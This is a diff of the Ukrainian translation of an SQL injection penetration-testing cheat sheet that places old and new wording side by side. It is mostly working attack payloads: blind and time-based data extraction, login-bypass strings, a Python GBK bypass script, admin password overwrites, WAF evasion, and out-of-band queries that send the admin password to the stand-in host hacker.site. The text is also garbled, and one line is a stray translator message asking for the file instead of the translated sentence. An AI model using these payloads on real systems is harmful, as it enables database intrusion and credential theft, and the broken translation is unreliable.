У цьому випадку ви можете зловживати цією поведінкою, щоб вивантажити базу даних символ за символом: У цьому випадку можна зловживати цією поведінкою, щоб dump базу даних char за char:
```sql ```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A' ?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
``` ```
## Використання Error Blind SQLi ## Exploiting Error Blind SQLi
Це **така ж ситуація, як і раніше**, але замість того, щоб розрізняти істинну/хибну відповідь з запиту, ви можете **розрізняти** наявність **помилки** в SQL запиті чи ні (можливо, через те, що HTTP сервер зривається). Тому в цьому випадку ви можете викликати SQL помилку щоразу, коли правильно вгадуєте символ: Це **той самий випадок, що й раніше**, але замість того, щоб розрізняти відповідь true/false від запиту, ви можете **відрізняти**, чи сталася **error** в SQL query чи ні (можливо через crash HTTP server). Тому в цьому випадку ви можете викликати SQLerror щоразу, коли правильно вгадуєте char:
```sql ```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
``` ```
## Використання Time Based SQLi ## Exploiting Time Based SQLi
У цьому випадку **немає** жодного способу **відрізнити** **відповідь** запиту на основі контексту сторінки. Але ви можете змусити сторінку **завантажуватися довше**, якщо вгаданий символ правильний. Ми вже бачили цю техніку в дії раніше, щоб [підтвердити вразливість SQLi](#confirming-with-timing). У цьому випадку немає жодного способу **розрізнити** **відповідь** запиту на основі контексту сторінки. Але можна змусити сторінку **завантажуватися довше**, якщо вгаданий символ правильний. Ми вже бачили цю техніку раніше, щоб [confirm a SQLi vuln](#confirming-with-timing).
```sql ```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
``` ```
## Stacked Queries ## Stacked Queries
Ви можете використовувати stacked queries для **виконання кількох запитів підряд**. Зверніть увагу, що хоча наступні запити виконуються, **результати** **не повертаються в додаток**. Отже, ця техніка в основному корисна у зв'язку з **сліпими вразливостями**, де ви можете використовувати другий запит для виклику DNS-запиту, умовної помилки або затримки. Ви можете використовувати stacked queries, щоб **виконати кілька запитів підряд**. Зверніть увагу, що хоча наступні запити виконуються, **результати** **не повертаються в додаток**. Отже ця техніка корисна насамперед для **blind vulnerabilities**, де ви можете використати другий запит, щоб викликати DNS lookup, conditional error або time delay.
**Oracle** не підтримує **stacked queries.** **MySQL, Microsoft** та **PostgreSQL** їх підтримують: `QUERY-1-HERE; QUERY-2-HERE` **Oracle** не підтримує **stacked queries.** **MySQL, Microsoft** та **PostgreSQL** підтримують їх: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation ## Out of band Exploitation
Якщо **жоден інший** метод експлуатації **не спрацював**, ви можете спробувати змусити **базу даних ексфільтрувати** інформацію на **зовнішній хост**, контрольований вами. Наприклад, через DNS-запити: Якщо **no-other** метод експлуатації **не спрацював**, ви можете спробувати змусити **database ex-filtrate** інформацію на **external host**, контрольований вами. Наприклад, через DNS queries:
```sql ```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
``` ```
### Витік даних поза каналом через XXE ### Експфільтрація даних поза каналом зв'язку через XXE
```sql ```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- - a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
``` ```
## Автоматизоване використання ## Automated Exploitation
Перевірте [SQLMap Cheatsheet](sqlmap/index.html) для експлуатації вразливості SQLi за допомогою [**sqlmap**](https://github.com/sqlmapproject/sqlmap). Перевірте [SQLMap Cheatsheet](sqlmap/index.html), щоб експлуатувати вразливість SQLi за допомогою [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Технічна специфічна інформація ## Tech specific info
Ми вже обговорили всі способи експлуатації вразливості SQL Injection. Знайдіть ще кілька трюків, залежних від технології бази даних, у цій книзі: Ми вже обговорювали всі способи експлуатації вразливості SQL Injection. Знайдіть ще декілька трюків, залежних від технології бази даних, у цій книзі:
- [MS Access](ms-access-sql-injection.md) - [MS Access](ms-access-sql-injection.md)
- [MSSQL](mssql-injection.md) - [MSSQL](mssql-injection.md)
@ -340,48 +340,48 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
- [Oracle](oracle-injection.md) - [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/index.html) - [PostgreSQL](postgresql-injection/index.html)
Або ви знайдете **багато трюків щодо: MySQL, PostgreSQL, Oracle, MSSQL, SQLite та HQL у** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) Або ви знайдете **безліч трюків щодо: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL у** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Обхід аутентифікації ## Authentication bypass
Список для спроби обійти функціональність входу: Список для спроб обходу login-функціональності:
{{#ref}} {{#ref}}
../login-bypass/sql-login-bypass.md ../login-bypass/sql-login-bypass.md
{{#endref}} {{#endref}}
### Обхід аутентифікації за допомогою сирого хешу ### Raw hash authentication Bypass
```sql ```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'" "SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
``` ```
Цей запит демонструє вразливість, коли MD5 використовується з true для сирого виходу в перевірках автентифікації, що робить систему вразливою до SQL injection. Зловмисники можуть скористатися цим, створюючи введення, які, коли їх хешують, виробляють несподівані частини SQL-команд, що призводить до несанкціонованого доступу. Цей запит демонструє вразливість, коли MD5 використовується з true для raw output у перевірках автентифікації, через що система стає вразливою до SQL injection. Зловмисники можуть скористатися цим, підбираючи ввідні дані, які при хешуванні утворюють несподівані частини SQL-команд, що призводить до несанкціонованого доступу.
```sql ```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD> md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-! sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
``` ```
### Обхід аутентифікації за допомогою ін'єкції хешу ### Обхід автентифікації через інжекцію хешу
```sql ```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
``` ```
**Рекомендований список**: **Рекомендований список**:
Вам слід використовувати як ім'я користувача кожен рядок списку, а як пароль завжди: _**Pass1234.**_\ Ви повинні використовувати як username кожен рядок списку і як password завжди: _**Pass1234.**_\
_(Ці пейлоади також включені у великий список, згаданий на початку цього розділу)_ _(Ці payloads також включені в великий список, згаданий на початку цього розділу)_
{{#file}} {{#file}}
sqli-hashbypass.txt sqli-hashbypass.txt
{{#endfile}} {{#endfile}}
### GBK Аутентифікація обхід ### GBK Authentication Bypass
IF ' екранізовано, ви можете використовувати %A8%27, а коли ' буде екранізовано, буде створено: 0xA80x5c0x27 (_╘'_) Якщо ' is being escaped, ви можете використати %A8%27, і коли ' gets escaped, буде створено: 0xA80x5c0x27 (_╘'_)
```sql ```sql
%A8%27 OR 1=1;-- 2 %A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2 %8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- -- %bf' or 1=1 -- --
``` ```
Скрипт Python: Python-скрипт:
```python ```python
import requests import requests
url = "http://example.com/index.php" url = "http://example.com/index.php"
@ -390,76 +390,76 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text print r.text
``` ```
### Поліглотна ін'єкція (мультіконтекст) ### Polyglot injection (multicontext)
```sql ```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
``` ```
## Insert Statement ## Оператор INSERT
### Modify password of existing object/user ### Змінити пароль існуючого об'єкта/користувача
Щоб це зробити, ви повинні спробувати **створити новий об'єкт з назвою "master object"** (ймовірно, **admin** у випадку користувачів), модифікуючи щось: Для цього слід спробувати **створити новий об'єкт з ім'ям "master object"** (ймовірно **admin** у випадку користувачів), змінивши щось:
- Створити користувача з ім'ям: **AdMIn** (великі та малі літери) - Створити користувача з ім'ям: **AdMIn** (великі та малі літери)
- Створити користувача з ім'ям: **admin=** - Створити користувача з ім'ям: **admin=**
- **SQL Truncation Attack** (коли є якийсь **обмеження по довжині** в імені користувача або електронній пошті) --> Створити користувача з ім'ям: **admin \[багато пробілів] a** - **SQL Truncation Attack** (коли існує певне **обмеження довжини** в імені користувача або email) --> Створити користувача з ім'ям: **admin \[a lot of spaces] a**
#### SQL Truncation Attack #### SQL Truncation Attack
Якщо база даних вразлива, а максимальна кількість символів для імені користувача, наприклад, 30, і ви хочете видати себе за користувача **admin**, спробуйте створити ім'я користувача: "_admin \[30 пробілів] a_" і будь-який пароль. Якщо база даних уразлива і максимальна кількість символів для імені користувача, наприклад, становить 30, і ви хочете видавати себе за користувача **admin**, спробуйте створити ім'я користувача: "_admin \[30 spaces] a_" і будь-який пароль.
База даних **перевірить**, чи введене **ім'я користувача** **існує** в базі даних. Якщо **ні**, вона **обрізає** **ім'я користувача** до **максимально дозволеної кількості символів** (в цьому випадку до: "_admin \[25 пробілів]_") і потім **автоматично видалить всі пробіли в кінці, оновлюючи** в базі даних користувача "**admin**" з **новим паролем** (може з'явитися деяка помилка, але це не означає, що це не спрацювало). База даних буде **перевіряти**, чи введене **ім'я користувача** **існує** в базі. Якщо **ні**, вона **обріже** **ім'я користувача** до **максимально дозволеної кількості символів** (в цьому випадку до: "_admin \[25 spaces]_"), а потім **автоматично видалить усі пробіли в кінці, оновивши** в базі даних користувача "**admin**" з **новим паролем** (може з'явитися якась помилка, але це не означає, що атака не спрацювала).
Більше інформації: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Примітка: Ця атака більше не буде працювати, як описано вище, в останніх установках MySQL. Хоча порівняння все ще ігнорують пробіли в кінці за замовчуванням, спроба вставити рядок, який довший за довжину поля, призведе до помилки, і вставка не вдасться. Для отримання додаткової інформації про цю перевірку:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) _Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
### MySQL Insert time based checking ### MySQL Insert time based checking
Додайте стільки `','',''`, скільки вважаєте за потрібне, щоб вийти з оператору VALUES. Якщо затримка виконується, у вас є SQLInjection. Додайте стільки `','',''`, скільки вважаєте за потрібне, щоб вийти з VALUES-виразу. Якщо затримка виконується, це SQLInjection.
```sql ```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20- name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
``` ```
### ON DUPLICATE KEY UPDATE ### ON DUPLICATE KEY UPDATE
Клаузула `ON DUPLICATE KEY UPDATE` в MySQL використовується для визначення дій, які база даних повинна виконати, коли намагаються вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна використати для зміни пароля облікового запису адміністратора: Клауза `ON DUPLICATE KEY UPDATE` в MySQL використовується, щоб вказати дії, які має виконати база даних, коли робиться спроба вставити рядок, що призведе до дублювання значення в UNIQUE index або PRIMARY KEY. Наведений нижче приклад демонструє, як цю можливість можна використати для зміни пароля облікового запису адміністратора:
Example Payload Injection: Example Payload Injection:
Вантаж для ін'єкції може бути створений наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок є приманкою, а другий рядок націлений на електронну пошту існуючого адміністратора з наміром оновити пароль: injection payload може бути сформовано наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок — приманка, а другий націлений на існуючу електронну адресу адміністратора з метою оновлення пароля:
```sql ```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- "; INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
``` ```
Ось як це працює: Ось як це працює:
- Запит намагається вставити два рядки: один для `generic_user@example.com` і інший для `admin_generic@example.com`. - Запит намагається вставити два рядки: один для `generic_user@example.com` і ще один для `admin_generic@example.com`.
- Якщо рядок для `admin_generic@example.com` вже існує, спрацьовує клаузула `ON DUPLICATE KEY UPDATE`, яка інструктує MySQL оновити поле `password` існуючого рядка на "bcrypt_hash_of_newpassword". - Якщо рядок для `admin_generic@example.com` вже існує, спрацьовує клаузула `ON DUPLICATE KEY UPDATE`, наказуючи MySQL оновити поле `password` існуючого рядка на "bcrypt_hash_of_newpassword".
- Відповідно, аутентифікацію можна спробувати виконати, використовуючи `admin_generic@example.com` з паролем, що відповідає bcrypt хешу ("bcrypt_hash_of_newpassword" представляє bcrypt хеш нового пароля, який слід замінити на фактичний хеш бажаного пароля). - Унаслідок цього можна буде спробувати виконати аутентифікацію з використанням `admin_generic@example.com` та пароля, що відповідає bcrypt-хешу ("bcrypt_hash_of_newpassword" означає bcrypt-хеш нового пароля і має бути замінений на фактичний хеш бажаного пароля).
### Витяг інформації ### Отримання інформації
#### Створення 2 облікових записів одночасно #### Створення 2 облікових записів одночасно
Коли намагаєтеся створити нового користувача, потрібні ім'я користувача, пароль та електронна пошта: При спробі створити нового користувача потрібні username, password та email:
``` ```
SQLi payload: SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- - username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
``` ```
#### Використання десяткових або шістнадцяткових чисел #### Використання десяткових або шістнадцяткових
За допомогою цієї техніки ви можете витягувати інформацію, створюючи лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати. За цією технікою ви можете витягти інформацію, створивши лише 1 обліковий запис. Важливо зазначити, що вам не потрібно нічого коментувати.
Використовуючи **hex2dec** та **substr**: Використовуючи **hex2dec** і **substr**:
```sql ```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' '+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
``` ```
Щоб отримати текст, ви можете використовувати: I don't have the file contents. Please paste the contents of src/pentesting-web/sql-injection/README.md here (or provide the text). I will translate it to Ukrainian while preserving all markdown, tags, links, paths and code.
```python ```python
__import__('binascii').unhexlify(hex(215573607263)[2:]) __import__('binascii').unhexlify(hex(215573607263)[2:])
``` ```
Використовуючи **hex** та **replace** (і **substr**): Використовуючи **hex** та **replace** (та **substr**):
```sql ```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' '+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -470,9 +470,9 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
``` ```
## Routed SQL injection ## Routed SQL injection
Routed SQL injection - це ситуація, коли ін'єкційний запит не є тим, який дає вихід, але вихід ін'єкційного запиту йде до запиту, який дає вихід. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) Routed SQL injection — це ситуація, коли ін'єктований запит не є тим, який повертає вивід, але вивід ін'єктованого запиту передається в запит, який повертає вивід. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Example: Приклад:
``` ```
#Hex of: -1' union select login,password from users-- a #Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a -1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
@ -483,7 +483,7 @@ Example:
### No spaces bypass ### No spaces bypass
No Space (%20) - обхід за допомогою альтернатив пробілів No Space (%20) - bypass, що використовує альтернативи для whitespace
```sql ```sql
?id=1%09and%091=1%09-- ?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D-- ?id=1%0Dand%0D1=1%0D--
@ -492,31 +492,31 @@ No Space (%20) - обхід за допомогою альтернатив пр
?id=1%0Aand%0A1=1%0A-- ?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0-- ?id=1%A0and%A01=1%A0--
``` ```
Без пробілів - обхід за допомогою коментарів No Whitespace - bypass за допомогою коментарів
```sql ```sql
?id=1/*comment*/and/**/1=1/**/-- ?id=1/*comment*/and/**/1=1/**/--
``` ```
Без пробілів - обхід за допомогою дужок No Whitespace - bypass із використанням дужок
```sql ```sql
?id=(1)and(1)=(1)-- ?id=(1)and(1)=(1)--
``` ```
### Обхід без коми ### No commas bypass
No Comma - обхід за допомогою OFFSET, FROM та JOIN No Comma - bypass з використанням OFFSET, FROM та JOIN
``` ```
LIMIT 0,1 -> LIMIT 1 OFFSET 0 LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
``` ```
### Generic Bypasses ### Загальні обхідні методи
Чорний список за допомогою ключових слів - обхід за допомогою великих/малих літер Чорний список за ключовими словами - обхід із використанням верхнього/нижнього регістру
```sql ```sql
?id=1 AND 1=1# ?id=1 AND 1=1#
?id=1 AnD 1=1# ?id=1 AnD 1=1#
?id=1 aNd 1=1# ?id=1 aNd 1=1#
``` ```
Чорний список за допомогою ключових слів без урахування регістру - обхід за допомогою еквівалентного оператора Чорний список ключових слів (без врахування регістру) — обхід за допомогою еквівалентного оператора
``` ```
AND -> && -> %26%26 AND -> && -> %26%26
OR -> || -> %7C%7C OR -> || -> %7C%7C
@ -524,10 +524,10 @@ OR -> || -> %7C%7C
> X -> not between 0 and X > X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null)) WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
``` ```
### Обхід WAF за допомогою наукової нотації ### Наукове позначення WAF bypass
Ви можете знайти більш детальне пояснення цього трюку в [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\ Детальніше про цей трюк можна знайти в [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
В основному, ви можете використовувати наукову нотацію несподіваними способами, щоб обійти WAF: По суті, ви можете використовувати наукове позначення несподіваними способами, щоб обійти WAF:
``` ```
-1' or 1.e(1) or '1'='1 -1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1 -1' or 1337.1337e1 or '1'='1
@ -535,9 +535,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
``` ```
### Bypass Column Names Restriction ### Bypass Column Names Restriction
По-перше, зверніть увагу, що якщо **оригінальний запит і таблиця, з якої ви хочете витягти прапор, мають однакову кількість стовпців**, ви можете просто зробити: `0 UNION SELECT * FROM flag` По‑перше, зауважте, що якщо **оригінальний запит і таблиця, з якої ви хочете витягти flag, мають однакову кількість стовпців**, ви можете просто зробити: `0 UNION SELECT * FROM flag`
Можливо **отримати доступ до третього стовпця таблиці без використання його назви** за допомогою запиту, подібного до наступного: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, тому в sqlinjection це виглядатиме так: Можна **отримати доступ до третього стовпця таблиці без використання його імені** за допомогою запиту на кшталт: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, тож в sqlinjection це виглядало б так:
```bash ```bash
# This is an example with 3 columns that will extract the column number 3 # This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
@ -547,26 +547,56 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
``` ```
Цей трюк був взятий з [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) Цей трюк взято з [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### Інструменти для обходу WAF ### Column/tablename injection in SELECT list via subqueries
Якщо введення користувача підставляється в SELECT list або в ідентифікатори таблиць/стовпців, prepared statements не допоможуть, оскільки bind parameters захищають лише значення, а не ідентифікатори. Поширений вразливий шаблон є:
```php
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
```
Ідея exploitation: inject subquery у field position для exfiltrate arbitrary data:
```sql
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
```
Примітки:
- Це працює навіть коли WHERE клауза використовує bound parameter, оскільки список ідентифікаторів все ще string-concatenated.
- Деякі стеки додатково дозволяють контролювати назву таблиці (tablename injection), що дає змогу виконувати cross-table reads.
- Output sinks можуть відображати вибране значення в HTML/JSON, що дозволяє XSS або token exfiltration безпосередньо з відповіді.
Заходи пом'якшення:
- Ніколи не конкатенуйте ідентифікатори з введення користувача. Відобразьте дозволені імена колонок у фіксований allow-list і правильно quote identifiers.
- Якщо потрібен динамічний доступ до таблиць, обмежте його скінченним набором і вирішуйте server-side через безпечне відображення.
### Інструменти для підбору обходу WAF
{{#ref}} {{#ref}}
https://github.com/m4ll0k/Atlas https://github.com/m4ll0k/Atlas
{{#endref}} {{#endref}}
## Інші посібники ## Інші керівництва
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) - [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Список виявлення брутфорсу ## Список виявлення Brute-Force
{{#ref}} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}} {{#endref}}
## Посилання
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}